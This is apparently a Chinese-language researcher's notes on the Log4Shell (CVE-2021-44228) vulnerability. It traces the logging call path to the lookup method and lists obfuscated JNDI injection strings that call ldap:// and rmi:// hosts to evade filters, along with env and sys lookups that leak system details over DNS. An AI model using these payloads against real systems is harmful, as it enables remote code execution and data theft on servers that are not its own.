洞刚出忙着批量和写工具就没仔细分析漏洞成因,写这个是记录洞刚出来时的研究过程,其实爆出当天就看了logback这个包,好像是一个作者写的也是记录日志的作用,但是太晚就没怎么看,第二头就暴出配置文件jndi注入,哎。。。。
流程调试跟了下,就粗略看了看,这个洞告诉我看官方文档真的很重要!!!!
1 | 获取logger实例-->org\apache\logging\log4j\spi\AbstractLogger.class中的error方法-->logIfEnabled方法判断语句跟进之后会判断记录日志等级是否是小于等于200(error是200)最后if方法返回true进入logMessage方法-->然后稀里糊涂进入org\apache\logging\log4j\core\Logger.class中的log方法-->org\apache\logging\log4j\core\config\DefaultReliabilityStrategy.class的log方法-->一系列跟进发现message最后在LogEvent中的event变量-->this.formatters[i].format(event, buffer)-->提取${}中的内容-->最后跟到lookup方法 |
绕过jndi字符
${${env:test:-jn}d${env:test:-i}:ldap://ip:443/o=tomcat}
${${lower:j}${upper:n}${lower:d}${upper:i}:
官方文档是支持base64的—-https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
获取操作系统信息
ps:dns带外,值为空格和斜杠不行
env变量获取
1 | import org.apache.logging.log4j.LogManager; |
env—从全局变量中获取,win和Linux不一样
${env:test:-jndi} 获取到的值默认为jndi
${env:OS} 获取操作系统版本
${sys:os.name} windows有空格会有点问题
1 | USERDOMAIN_ROAMINGPROFILE=DESKTOP-VNUJ5RB |
sys变量获取
${sys:java.verison}
1 | sun.cpu.isalist=amd64 |
springboot
Spring Boot Lookup 从 Spring 配置中检索 Spring 属性的值以及活动和默认配置文件的值
https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html#ContextMapLookup
servlet
${web:rootDir}
最后集成的工具支持jndi反序列化,高版本的绕过和常规利用
一些特定框架出发log4j的点
https://github.com/SPuerBRead/Bridge
https://www.anquanke.com/post/id/262852 struct
https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis